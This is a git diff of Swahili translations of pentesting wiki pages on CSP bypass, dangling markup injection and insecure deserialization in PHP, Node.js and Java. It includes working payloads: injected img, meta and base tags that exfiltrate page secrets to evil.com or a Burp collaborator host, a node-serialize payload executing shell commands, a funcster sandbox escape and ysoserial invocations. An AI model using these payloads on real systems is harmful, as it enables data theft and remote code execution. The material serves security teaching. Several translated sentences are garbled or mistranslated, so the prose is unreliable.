Ili kupakia kurasa kwa haraka, vivinjari vinakwenda kabla ya kutatua majina ya mwenyeji kuwa anwani za IP na kuziweka kwenye cache kwa matumizi ya baadaye.\
Unaweza kuonyesha kivinjari kutatua kabla jina la mwenyeji kwa: `<link rel="dns-prefetch" href="something.com">`
Ili kupakia kurasa kwa haraka, vivinjari vitakuwa vinatatua majina ya mwenyeji kuwa anwani za IP na kuhifadhi kwa matumizi ya baadaye.\
Unaweza kuonyesha kivinjari kutatua jina la mwenyeji mapema kwa: `<link rel="dns-prefetch" href="something.com">`
Unaweza kutumia tabia hii vibaya ili **kuondoa taarifa nyeti kupitia maombi ya DNS**:
```javascript
@ -678,7 +678,7 @@ X-DNS-Prefetch-Control: off
### WebRTC
Katika kurasa kadhaa unaweza kusoma kwamba **WebRTC haiangalii sera ya `connect-src` ya CSP**.
Katika kurasa kadhaa unaweza kusoma kwamba **WebRTC haichunguze sera ya `connect-src` ya CSP**.
Kwa kweli unaweza _kuvuja_ taarifa kwa kutumia _ombio la DNS_. Angalia hii code:
```javascript
@ -709,7 +709,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## Marejeleo
## Marejeo
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)

View File

@ -8,7 +8,7 @@ Maudhui yoyote kutoka vyanzo vya nje pia yanazuiliwa, ikiwa ni pamoja na picha,
### Kupitia Maandishi & Picha
Imek observed kwamba vivinjari vya kisasa vinabadilisha picha na maandiko kuwa HTML ili kuboresha uonyeshaji wao (kwa mfano, kuweka mandharinyuma, kuzingatia, n.k.). Kwa hivyo, ikiwa faili ya picha au maandiko, kama `favicon.ico` au `robots.txt`, inafunguliwa kupitia `iframe`, inatolewa kama HTML. Kwa kuzingatia, kurasa hizi mara nyingi hazina vichwa vya CSP na zinaweza kutokuwepo na X-Frame-Options, na kuruhusu utekelezaji wa JavaScript isiyo na mpangilio kutoka kwao:
Imek observed kwamba vivinjari vya kisasa vinabadilisha picha na maandiko kuwa HTML ili kuboresha uonyeshaji wao (kwa mfano, kuweka mandharinyuma, kuzingatia, n.k.). Kwa hivyo, ikiwa picha au faili ya maandiko, kama `favicon.ico` au `robots.txt`, itafunguliwa kupitia `iframe`, inatolewa kama HTML. Kwa kuzingatia, kurasa hizi mara nyingi hazina vichwa vya CSP na zinaweza kutokuwa na X-Frame-Options, ikiruhusu utekelezaji wa JavaScript isiyo na mpangilio kutoka kwao:
```javascript
frame = document.createElement("iframe")
frame.src = "/css/bootstrap.min.css"
@ -17,7 +17,7 @@ script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```
### Makosa ya Kijibu
### Makosa ya Via
Vivyo hivyo, majibu ya makosa, kama vile faili za maandiko au picha, kwa kawaida yanakuja bila vichwa vya CSP na yanaweza kukosa X-Frame-Options. Makosa yanaweza kusababisha kupakia ndani ya iframe, kuruhusu hatua zifuatazo:
```javascript

View File

@ -4,7 +4,7 @@
## Resume
Teknolojia hii inaweza kutumika kutoa taarifa kutoka kwa mtumiaji wakati **HTML injection inapatikana**. Hii ni muhimu sana ikiwa **hupati njia yoyote ya kutumia** [**XSS** ](../xss-cross-site-scripting/)lakini unaweza **kuiingiza baadhi ya vitambulisho vya HTML**.\
Teknolojia hii inaweza kutumika kutoa taarifa kutoka kwa mtumiaji wakati **HTML injection inapatikana**. Hii ni muhimu sana ikiwa **hupati njia yoyote ya kutumia** [**XSS** ](../xss-cross-site-scripting/)lakini unaweza **kuingiza baadhi ya vitambulisho vya HTML**.\
Pia ni muhimu ikiwa **siri fulani imehifadhiwa kwa maandiko wazi** katika HTML na unataka **kuipatia** kutoka kwa mteja, au ikiwa unataka kupotosha utekelezaji wa script fulani.
Mbinu kadhaa zilizozungumziwa hapa zinaweza kutumika kupita baadhi ya [**Content Security Policy**](../content-security-policy-csp-bypass/) kwa kupeleka taarifa kwa njia zisizotarajiwa (vitambulisho vya html, CSS, vitambulisho vya http-meta, fomu, msingi...).
@ -13,7 +13,7 @@ Mbinu kadhaa zilizozungumziwa hapa zinaweza kutumika kupita baadhi ya [**Content
### Stealing clear text secrets
Ikiwa unaiingiza `<img src='http://evil.com/log.cgi?` wakati ukurasa unapo load, mwathirika atakutumia msimbo wote kati ya vitambulisho vya `img` vilivyoingizwa na nukuu inayofuata ndani ya msimbo. Ikiwa siri fulani iko katika kipande hicho, utaiiba (unaweza kufanya kitu sawa kwa kutumia nukuu mbili, angalia ni ipi inaweza kuwa ya kuvutia zaidi kutumia).
Ikiwa unafanya injection ya `<img src='http://evil.com/log.cgi?` wakati ukurasa umepakuliwa, mwathirika atakutumia msimbo wote kati ya vitambulisho vya `img` vilivyoingizwa na nukuu inayofuata ndani ya msimbo. Ikiwa siri fulani iko katika kipande hicho, utaiiba (unaweza kufanya kitu sawa kwa kutumia nukuu mbili, angalia ni ipi inaweza kuwa ya kuvutia zaidi kutumia).
Ikiwa vitambulisho vya `img` vinakatazwa (kwa sababu ya CSP kwa mfano) unaweza pia kutumia `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
```html
@ -32,7 +32,7 @@ Unaweza pia kutumia **`<table`**:
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
Unaweza pia kuingiza tag ya `<base`. Taarifa zote zitatumwa hadi nukuu ifungwe lakini inahitaji mwingiliano wa mtumiaji (mtumiaji lazima abonyeze kwenye kiungo fulani, kwa sababu tag ya base itakuwa imebadilisha kikoa kinachotajwa na kiungo):
Unaweza pia kuingiza tag ya `<base`. Taarifa zote zitatumwa hadi nukuu ifungwe lakini inahitaji mwingiliano wa mtumiaji (mtumiaji lazima abonyeze kwenye kiungo fulani, kwa sababu tag ya base itakuwa imebadilisha eneo lililokusudiwa na kiungo):
```html
<base target=' <--- Injected
steal me'<b>test</b>
@ -41,7 +41,7 @@ steal me'<b>test</b>
```html
<base href="http://evil.com/" />
```
Kisha, fomu zinazotuma data kwenye njia (kama `<form action='update_profile.php'>`) zitatuma data hizo kwenye eneo la hatari.
Kisha, fomu zinazotuma data kwenye njia (kama `<form action='update_profile.php'>`) zitatuma data kwenye kikoa kibaya.
### Kuiba fomu 2
@ -61,11 +61,11 @@ Pata [**mfano wa shambulio hili katika andiko hili**](https://portswigger.net/re
### Kuiba siri za maandiko wazi 2
Kwa kutumia mbinu iliyotajwa hivi karibuni kuiba fomu (kuingiza kichwa kipya cha fomu) unaweza kisha kuingiza uwanja mpya wa pembejeo:
Kwa kutumia mbinu iliyotajwa hivi karibuni kuiba fomu (kuingiza kichwa kipya cha fomu) unaweza kisha kuingiza uwanja mpya wa ingizo:
```html
<input type='hidden' name='review_body' value="
```
na uwanja huu wa ingizo utaweka maudhui yote kati ya nukta zake mbili za kunukuu na nukta inayofuata ya kunukuu katika HTML. Shambulio hili linachanganya "_**Kuhujumu siri za maandiko wazi**_" na "_**Kuhujumu fomu2**_".
na uwanja huu wa ingizo utaweka maudhui yote kati ya nukuu zake mbili na nukuu inayofuata katika HTML. Shambulio hili linachanganya "_**Kuhujumu siri za maandiko wazi**_" na "_**Kuhujumu fomu2**_".
Unaweza kufanya kitu sawa kwa kuingiza fomu na tag `<option>`. Takwimu zote hadi `</option>` iliyofungwa itatumwa:
```html
@ -101,8 +101,8 @@ Kutoka kwenye [portswiggers research](https://portswigger.net/research/evading-c
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Kumbuka kwamba utaomba **mhasiriwa** **abofye kwenye kiungo** ambacho kitampeleka **payload** inayodhibitiwa na wewe. Pia kumbuka kwamba **`target`** sifa ndani ya **`base`** tag itakuwa na **maudhui ya HTML** hadi nukta moja inayofuata.\
Hii itafanya kwamba **thamani** ya **`window.name`** ikiwa kiungo kimebofywaji itakuwa yote hayo **maudhui ya HTML**. Kwa hivyo, kwa kuwa unadhibiti **ukurasa** ambao mhasiriwa anafikia kwa kubofya kiungo, unaweza kufikia hiyo **`window.name`** na **kuhamasisha** data hiyo:
Kumbuka kwamba utaomba **mhasiriwa** **abofye kwenye kiungo** ambacho kitampeleka **payload** iliyo chini ya udhibiti wako. Pia kumbuka kwamba **`target`** sifa ndani ya **`base`** tag itakuwa na **maudhui ya HTML** hadi nukta moja inayofuata.\
Hii itafanya kwamba **thamani** ya **`window.name`** ikiwa kiungo kimebofywaho itakuwa maudhui yote hayo ya **HTML**. Hivyo, kwa kuwa unadhibiti ukurasa ambao mhasiriwa anafikia kwa kubofya kiungo, unaweza kufikia hiyo **`window.name`** na **kuhamasisha** data hiyo:
```html
<script>
if(window.name) {
@ -111,7 +111,7 @@ new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponen
```
### Misleading script workflow 1 - HTML namespace attack
Ingiza tag mpya yenye id ndani ya HTML ambayo itabadilisha ile inayofuata na yenye thamani itakayoharibu mtiririko wa script. Katika mfano huu unachagua na nani taarifa itashirikiwa:
Ingiza tag mpya yenye id ndani ya HTML ambayo itabadilisha ile inayofuata na thamani ambayo itakuwa na athari kwenye mtiririko wa script. Katika mfano huu unachagua na nani taarifa itashirikiwa:
```html
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
@ -120,7 +120,7 @@ Share this status update with: ← Legitimate optional element of a dialog
... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
```
### Mchakato wa script wa kupotosha 2 - Shambulio la nafasi ya script
### Mchakato wa kupotosha script 2 - Shambulio la nafasi ya script
Unda mabadiliko ndani ya nafasi ya javascript kwa kuingiza vitambulisho vya HTML. Kisha, mabadiliko haya yataathiri mtiririko wa programu:
```html
@ -197,7 +197,7 @@ Sio njia zote za kuvuja muunganisho katika HTML zitakuwa na manufaa kwa Dangling
## SS-Leaks
Hii ni **mchanganyiko** kati ya **dangling markup na XS-Leaks**. Kutoka upande mmoja, udhaifu unaruhusu **kuingiza HTML** (lakini si JS) katika ukurasa wa **asilimia moja** ya ule tutakaoshambulia. Kwa upande mwingine hatutashambulia moja kwa moja ukurasa ambapo tunaweza kuingiza HTML, bali **ukurasa mwingine**.
Hii ni **mchanganyiko** kati ya **dangling markup na XS-Leaks**. Kutoka upande mmoja, udhaifu unaruhusu **kuingiza HTML** (lakini si JS) katika ukurasa wa **asilimia moja** ya ule tutakaoshambulia. Kutoka upande mwingine hatutashambulia moja kwa moja ukurasa ambapo tunaweza kuingiza HTML, bali **ukurasa mwingine**.
{{#ref}}
ss-leaks.md
@ -205,7 +205,7 @@ ss-leaks.md
## XS-Search/XS-Leaks
XS-Search zimeelekezwa kwenye **kuondoa taarifa za cross-origin** kwa kutumia **shambulio la upande wa channel**. Hivyo, ni mbinu tofauti na Dangling Markup, hata hivyo, baadhi ya mbinu zinatumia kuingizwa kwa vitambulisho vya HTML (ikiwa na na bila utekelezaji wa JS), kama [**CSS Injection**](../xs-search/#css-injection) au [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
XS-Search zimeelekezwa kwenye **kuondoa taarifa za cross-origin** kwa kutumia **shambulio la upande**. Hivyo, ni mbinu tofauti na Dangling Markup, hata hivyo, baadhi ya mbinu zinatumia ujumuishaji wa vitambulisho vya HTML (ikiwa na bila utekelezaji wa JS), kama [**CSS Injection**](../xs-search/#css-injection) au [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
{{#ref}}
../xs-search/

View File

@ -4,7 +4,7 @@
## Basic Information
**Serialization** inamaanisha njia ya kubadilisha kitu kuwa muundo ambao unaweza kuhifadhiwa, kwa nia ya ama kuhifadhi kitu hicho au kukituma kama sehemu ya mchakato wa mawasiliano. Tekni hii hutumiwa mara nyingi kuhakikisha kwamba kitu kinaweza kuundwa tena baadaye, ikihifadhi muundo na hali yake.
**Serialization** inamaanisha njia ya kubadilisha kitu kuwa muundo ambao unaweza kuhifadhiwa, kwa nia ya ama kuhifadhi kitu hicho au kukituma kama sehemu ya mchakato wa mawasiliano. Mbinu hii hutumiwa mara nyingi kuhakikisha kwamba kitu hicho kinaweza kuundwa tena baadaye, ikihifadhi muundo na hali yake.
**Deserialization**, kinyume chake, ni mchakato unaopinga serialization. Inahusisha kuchukua data ambayo imeundwa kwa muundo maalum na kuijenga tena kuwa kitu.
@ -15,8 +15,8 @@ Deserialization inaweza kuwa hatari kwa sababu inaweza **kuruhusu washambuliaji
Katika PHP, mbinu maalum za kichawi hutumiwa wakati wa mchakato wa serialization na deserialization:
- `__sleep`: Inaitwa wakati kitu kinaposajiliwa. Mbinu hii inapaswa kurudisha orodha ya majina ya mali zote za kitu ambazo zinapaswa kusajiliwa. Inatumika mara nyingi kuhifadhi data inayosubiri au kufanya kazi za usafi zinazofanana.
- `__wakeup`: Inaitwa wakati kitu kinaposajiliwa. Inatumika kurejesha uhusiano wowote wa database ambao unaweza kuwa umepotea wakati wa serialization na kufanya kazi nyingine za kuanzisha tena.
- `__unserialize`: Mbinu hii inaitwa badala ya `__wakeup` (ikiwa inapatikana) wakati kitu kinaposajiliwa. Inatoa udhibiti zaidi juu ya mchakato wa deserialization ikilinganishwa na `__wakeup`.
- `__wakeup`: Inaitwa wakati kitu kinaposajiliwa tena. Inatumika kurejesha uhusiano wowote wa database ambao unaweza kuwa umepotea wakati wa serialization na kufanya kazi nyingine za kuanzisha tena.
- `__unserialize`: Mbinu hii inaitwa badala ya `__wakeup` (ikiwa inapatikana) wakati kitu kinaposajiliwa tena. Inatoa udhibiti zaidi juu ya mchakato wa deserialization ikilinganishwa na `__wakeup`.
- `__destruct`: Mbinu hii inaitwa wakati kitu kinakaribia kuharibiwa au wakati script inamalizika. Inatumika kawaida kwa kazi za usafi, kama kufunga mikono ya faili au uhusiano wa database.
- `__toString`: Mbinu hii inaruhusu kitu kutendewa kama string. Inaweza kutumika kwa kusoma faili au kazi nyingine kulingana na wito wa kazi ndani yake, ikitoa kwa ufanisi uwakilishi wa maandiko wa kitu.
```php
@ -74,10 +74,10 @@ This is a test<br />
*/
?>
```
Ikiwa utaangalia matokeo utaona kwamba kazi **`__wakeup`** na **`__destruct`** zinaitwa wakati kitu kinapotolewa deserialization. Kumbuka kwamba katika mafunzo kadhaa utaona kwamba kazi **`__toString`** inaitwa unapojaribu kuchapisha sifa fulani, lakini kwa wazi hiyo **haifanyiki tena**.
Ikiwa utaangalia matokeo utaona kwamba kazi **`__wakeup`** na **`__destruct`** zinaitwa wakati kitu kinapokuwa deserialized. Kumbuka kwamba katika mafunzo kadhaa utaona kwamba kazi **`__toString`** inaitwa unapojaribu kuchapisha sifa fulani, lakini kwa wazi hiyo **haifanyiki tena**.
> [!WARNING]
> Njia **`__unserialize(array $data)`** inaitwa **badala ya `__wakeup()`** ikiwa imeanzishwa katika darasa. Inakuruhusu kutoa deserialization ya kitu kwa kutoa data iliyosajiliwa kama array. Unaweza kutumia njia hii kutoa deserialization ya mali na kufanya kazi zozote muhimu wakati wa deserialization.
> Njia **`__unserialize(array $data)`** inaitwa **badala ya `__wakeup()`** ikiwa imeanzishwa katika darasa. Inakuruhusu kuunserialize kitu kwa kutoa data iliyosajiliwa kama array. Unaweza kutumia njia hii kuunserialize mali na kufanya kazi zozote muhimu wakati wa deserialization.
>
> ```php
> class MyClass {
@ -100,9 +100,9 @@ Unaweza kutumia vibaya kazi ya autoload ya PHP ili kupakia faili za php zisizo n
php-deserialization-+-autoload-classes.md
{{#endref}}
### Kutoa Thamani za Marejeleo
### Kuweka Thamani za Marejeleo
Ikiwa kwa sababu fulani unataka kutoa thamani kama **marejeleo kwa thamani nyingine iliyosajiliwa** unaweza:
Ikiwa kwa sababu fulani unataka kuweka thamani kama **marejeleo kwa thamani nyingine iliyosajiliwa** unaweza:
```php
<?php
class AClass {
@ -118,7 +118,7 @@ $ser=serialize($o);
### PHPGGC (ysoserial kwa PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc) inaweza kusaidia katika kuunda payloads za kutumia PHP deserializations.\
Kumbuka kwamba katika kesi kadhaa huwezi kupata njia ya kutumia deserialization katika msimbo wa chanzo wa programu lakini unaweza kuwa na uwezo wa **kutumia msimbo wa nyongeza za PHP za nje.**\
Kumbuka kwamba katika kesi nyingi huwezi kupata njia ya kutumia deserialization katika msimbo wa chanzo wa programu lakini unaweza kuwa na uwezo wa **kutumia msimbo wa nyongeza za PHP za nje.**\
Hivyo, ikiwa unaweza, angalia `phpinfo()` ya seva na **tafuta mtandaoni** (hata kwenye **gadgets** za **PHPGGC**) baadhi ya gadgets zinazoweza kutumiwa.
### phar:// metadata deserialization
@ -170,9 +170,9 @@ python-yaml-deserialization.md
### JS Magic Functions
JS **haina "magic" functions** kama PHP au Python ambazo zitatekelezwa tu kwa ajili ya kuunda kitu. Lakini ina **functions** ambazo zinatumika **mara kwa mara hata bila kuziita moja kwa moja** kama **`toString`**, **`valueOf`**, **`toJSON`**.\
Ikiwa unatumia deserialization unaweza **kuathiri hizi functions ili kutekeleza code nyingine** (kwa uwezekano wa kudhulumu prototype pollutions) unaweza kutekeleza code isiyo na mipaka wakati zinapoitwa.
Ikiwa unatumia deserialization unaweza **kuathiri hizi functions ili kutekeleza code nyingine** (kwa kuweza kudhulumu prototype pollutions) unaweza kutekeleza code isiyo na mipaka wakati zinapoitwa.
Njia nyingine **"magic" ya kuita function** bila kuikalia moja kwa moja ni kwa **kuathiri kitu ambacho kinarejeshwa na function ya async** (ahadi). Kwa sababu, ikiwa **unabadilisha** hiyo **kitu kinachorejeshwa** kuwa ahadi nyingine yenye **sifa** inayoitwa **"then" ya aina function**, itatekelezwa **tu kwa sababu inarejeshwa na ahadi nyingine.** _Fuata_ [_**kiungo hiki**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _kwa maelezo zaidi._
Njia nyingine **"magic" ya kuita function** bila kuikalia moja kwa moja ni kwa **kuathiri kitu ambacho kinarejeshwa na function ya async** (ahadi). Kwa sababu, ikiwa **unabadilisha** hiyo **kitu kinachorejeshwa** kuwa ahadi nyingine yenye **sifa** inayoitwa **"then" ya aina function**, itatekelezwa **tu kwa sababu inarejeshwa na ahadi nyingine. _Fuata_ [_**kiungo hiki**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _kwa maelezo zaidi._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -219,7 +219,7 @@ var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
```
**kipande kilichosajiliwa** kitaonekana kama:
**kipande kilichopangwa** kitaonekana kama:
```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
```
@ -231,10 +231,10 @@ Ndani ya faili `node-serialize/lib/serialize.js` unaweza kupata bendera hiyo hiy
![](<../../images/image (446).png>)
Kama unavyoona katika kipande cha mwisho cha msimbo, **ikiwa bendera imepatikana** `eval` inatumika ku_deserialize kazi, hivyo kimsingi **ingizo la mtumiaji linatumika ndani ya kazi ya `eval`**.
Kama unavyoona katika kipande cha mwisho cha msimbo, **ikiwa bendera imepatikana** `eval` inatumika kus_serialized kazi, hivyo kimsingi **ingizo la mtumiaji linatumika ndani ya kazi ya `eval`**.
Hata hivyo, **ku_serialized** kazi **hakutatekeleza** kwani itahitajika sehemu fulani ya msimbo **kuitisha `y.rce`** katika mfano wetu na hiyo ni **ngumu sana**.\
Hata hivyo, unaweza tu **kubadilisha kitu kilichos_serialized** **kwa kuongeza mabano** ili kutekeleza kiotomatiki kazi iliyos_serialized wakati kitu kinapo_deserialize.\
Hata hivyo, **kuhifadhi tu** kazi **hakutatekeleza** kwani itahitajika sehemu fulani ya msimbo **kuitisha `y.rce`** katika mfano wetu na hiyo ni **ngumu**.\
Hata hivyo, unaweza tu **kubadilisha kitu kilichos_serialized** **kwa kuongeza mabano** ili kutekeleza kiotomatiki kazi iliyos_serialized wakati kitu kinapos_serialized.\
Katika kipande kijacho cha msimbo **angalia mabano ya mwisho** na jinsi kazi ya `unserialize` itatekeleza kiotomatiki msimbo:
```javascript
var serialize = require("node-serialize")
@ -254,9 +254,9 @@ Unaweza [**kupata hapa**](https://opsecx.com/index.php/2017/02/08/exploiting-nod
### [funcster](https://www.npmjs.com/package/funcster)
Jambo muhimu kuhusu **funcster** ni ukosefu wa upatikanaji wa **vitu vya ndani vilivyojengwa**; vinatoka nje ya upeo unaopatikana. Kikomo hiki kinazuia utekelezaji wa msimbo unaojaribu kuita mbinu kwenye vitu vilivyojengwa, na kusababisha makosa kama `"ReferenceError: console is not defined"` wakati amri kama `console.log()` au `require(something)` zinapotumika.
Jambo muhimu kuhusu **funcster** ni ukosefu wa upatikanaji wa **vitu vya ndani vilivyojengwa**; vinatoka nje ya upeo unaopatikana. Kikomo hiki kinazuia utekelezaji wa msimbo unaojaribu kuita mbinu kwenye vitu vya ndani, na kusababisha makosa kama `"ReferenceError: console is not defined"` wakati amri kama `console.log()` au `require(something)` zinapotumika.
Licha ya kikomo hiki, urejeleaji wa upatikanaji kamili kwa muktadha wa kimataifa, ikiwa ni pamoja na vitu vyote vya ndani vilivyojengwa, inawezekana kupitia njia maalum. Kwa kutumia muktadha wa kimataifa moja kwa moja, mtu anaweza kupita kikomo hiki. Kwa mfano, upatikanaji unaweza kurejelewa kwa kutumia kipande kifuatacho:
Licha ya kikomo hiki, urejeleaji wa upatikanaji kamili wa muktadha wa kimataifa, ikiwa ni pamoja na vitu vyote vya ndani vilivyojengwa, inawezekana kupitia njia maalum. Kwa kutumia muktadha wa kimataifa moja kwa moja, mtu anaweza kupita kikomo hiki. Kwa mfano, upatikanaji unaweza kurejelewa kwa kutumia kipande kifuatacho:
```javascript
funcster = require("funcster")
//Serialization
@ -282,7 +282,7 @@ funcster.deepDeserialize(desertest3)
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
Kifurushi cha **serialize-javascript** kimeundwa mahsusi kwa ajili ya kusawazisha, hakina uwezo wowote wa ndani wa kusafisha. Watumiaji wanawajibika kutekeleza njia zao za kusafisha. Matumizi ya moja kwa moja ya `eval` yanapendekezwa na mfano rasmi wa kusafisha data iliyosawazishwa:
Kifurushi cha **serialize-javascript** kimeundwa mahsusi kwa ajili ya kusawazisha, hakina uwezo wowote wa kujisawazisha. Watumiaji wanawajibika kutekeleza njia zao za kujisawazisha. Matumizi ya moja kwa moja ya `eval` yanapendekezwa na mfano rasmi wa kujisawazisha data iliyosawazishwa:
```javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
@ -313,9 +313,9 @@ Katika kurasa zinazofuata unaweza kupata maelezo kuhusu jinsi ya kutumia vibaya
## Java - HTTP
Katika Java, **kurejesha maoni kunatekelezwa wakati wa mchakato wa kurejesha**. Utendaji huu unaweza kutumiwa na washambuliaji wanaounda payload hatari zinazochochea maoni haya, na kusababisha utekelezaji wa vitendo vya hatari.
Katika Java, **kurejesha maoni ya deserialization hufanyika wakati wa mchakato wa deserialization**. Utendaji huu unaweza kutumiwa na washambuliaji wanaounda payload hatari zinazochochea maoni haya, na kusababisha utekelezaji wa vitendo vya hatari.
### Alama
### Alama za Kidole
#### Sanduku la Nyeupe
@ -327,21 +327,21 @@ Ili kubaini uwezekano wa udhaifu wa serialization katika msimbo, tafuta:
Zingatia kwa makini:
- `XMLDecoder` inayotumika na vigezo vilivyofafanuliwa na watumiaji wa nje.
- Njia ya `fromXML` ya `XStream`, hasa ikiwa toleo la XStream ni sawa na au chini ya 1.46, kwani linaweza kuwa hatarini kwa masuala ya serialization.
- Njia ya `fromXML` ya `XStream`, hasa ikiwa toleo la XStream ni sawa na au chini ya 1.46, kwani linaweza kuathirika na masuala ya serialization.
- `ObjectInputStream` iliyoambatanishwa na njia ya `readObject`.
- Utekelezaji wa njia kama `readObject`, `readObjectNodData`, `readResolve`, au `readExternal`.
- `ObjectInputStream.readUnshared`.
- Matumizi ya jumla ya `Serializable`.
#### Sanduku la Black
#### Sanduku la Nyeusi
Kwa upimaji wa sanduku la black, angalia **sahihi maalum au "Magic Bytes"** zinazotambulisha vitu vilivyopangwa vya java (vinavyotokana na `ObjectInputStream`):
Kwa upimaji wa sanduku la nyeusi, tafuta **sahihi maalum au "Magic Bytes"** zinazotambulisha vitu vilivyopangwa vya java (vinavyotokana na `ObjectInputStream`):
- Mchoro wa hexadecimal: `AC ED 00 05`.
- Mchoro wa Base64: `rO0`.
- Vichwa vya majibu ya HTTP vyenye `Content-type` vilivyowekwa kuwa `application/x-java-serialized-object`.
- Mchoro wa hexadecimal unaoashiria kubana awali: `1F 8B 08 00`.
- Mchoro wa Base64 unaoashiria kubana awali: `H4sIA`.
- Vichwa vya majibu ya HTTP vilivyowekwa `Content-type` kuwa `application/x-java-serialized-object`.
- Mchoro wa hexadecimal unaoashiria kufungwa kwa awali: `1F 8B 08 00`.
- Mchoro wa Base64 unaoashiria kufungwa kwa awali: `H4sIA`.
- Faili za wavuti zenye kiambishi cha `.faces` na parameter ya `faces.ViewState`. Kugundua mifumo hii katika programu ya wavuti inapaswa kusababisha uchunguzi kama ilivyoelezwa katika [post kuhusu Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
@ -358,7 +358,7 @@ find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
Unaweza kujaribu **kuangalia maktaba zote** zinazojulikana kuwa na udhaifu na ambazo [**Ysoserial**](https://github.com/frohoff/ysoserial) inaweza kutoa exploit kwa ajili yake. Au unaweza kuangalia maktaba zilizoonyeshwa kwenye [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Pia unaweza kutumia [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) kutafuta mnyororo wa gadget zinazoweza kutumika.\
Pia unaweza kutumia [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) kutafuta mnyororo wa gadget unaoweza kutumika.\
Unapokimbia **gadgetinspector** (baada ya kuijenga) usijali kuhusu maonyo/makosa mengi ambayo inapitia na uache ikamilike. Itandika matokeo yote chini ya _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Tafadhali, fahamu kwamba **gadgetinspector haitaunda exploit na inaweza kuonyesha matokeo yasiyo sahihi**.
#### Black Box Test
@ -371,7 +371,7 @@ Kwa kutumia nyongeza ya Burp [**Java Deserialization Scanner**](java-dns-deseria
[**Soma hii kujifunza zaidi kuhusu Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner inazingatia **`ObjectInputStream`** deserializations.
Pia unaweza kutumia [**Freddy**](https://github.com/nccgroup/freddy) **kubaini udhaifu wa deserialization** katika **Burp**. Plugin hii itagundua **si tu udhaifu wa `ObjectInputStream`** bali **pia** udhaifu kutoka **Json** na **Yml** maktaba za deserialization. Katika hali ya kazi, itajaribu kuthibitisha kwa kutumia payload za usingizi au DNS.\
Pia unaweza kutumia [**Freddy**](https://github.com/nccgroup/freddy) **kubaini udhaifu wa deserialization** katika **Burp**. Plugin hii itagundua **si tu udhaifu wa `ObjectInputStream`** bali **pia** udhaifu kutoka **Json** na **Yml** deserialization maktaba. Katika hali ya kazi, itajaribu kuthibitisha kwa kutumia payload za usingizi au DNS.\
[**Unaweza kupata maelezo zaidi kuhusu Freddy hapa.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Serialization Test**
@ -383,9 +383,9 @@ Ikiwa unapata kitu kilichosajiliwa cha java kinachotumwa kwa programu ya wavuti,
#### **ysoserial**
Chombo kikuu cha kutumia exploit Java deserializations ni [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pakua hapa**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Unaweza pia kufikiria kutumia [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) ambayo itakuruhusu kutumia amri ngumu (kwa mfano na pipes).\
Kumbuka kwamba chombo hiki kina **zingatia** kutumia **`ObjectInputStream`**.\
Ningekuwa **naanza kutumia payload ya "URLDNS"** **kabla ya payload ya RCE** ili kujaribu kama sindano inawezekana. Hata hivyo, kumbuka kwamba labda payload ya "URLDNS" haifanyi kazi lakini payload nyingine ya RCE inafanya.
Chombo kikuu cha kutumia exploit Java deserializations ni [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pakua hapa**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Unaweza pia kuzingatia kutumia [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) ambayo itakuruhusu kutumia amri ngumu (kwa mfano na pipes).\
Fahamu kwamba chombo hiki kina **zingatia** kutumia **`ObjectInputStream`**.\
Ningekuwa **naanza kutumia payload ya "URLDNS"** **kabla ya payload ya RCE** ili kujaribu kama sindano inawezekana. Hata hivyo, fahamu kwamba labda payload ya "URLDNS" haitafanya kazi lakini payload nyingine ya RCE inafanya kazi.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
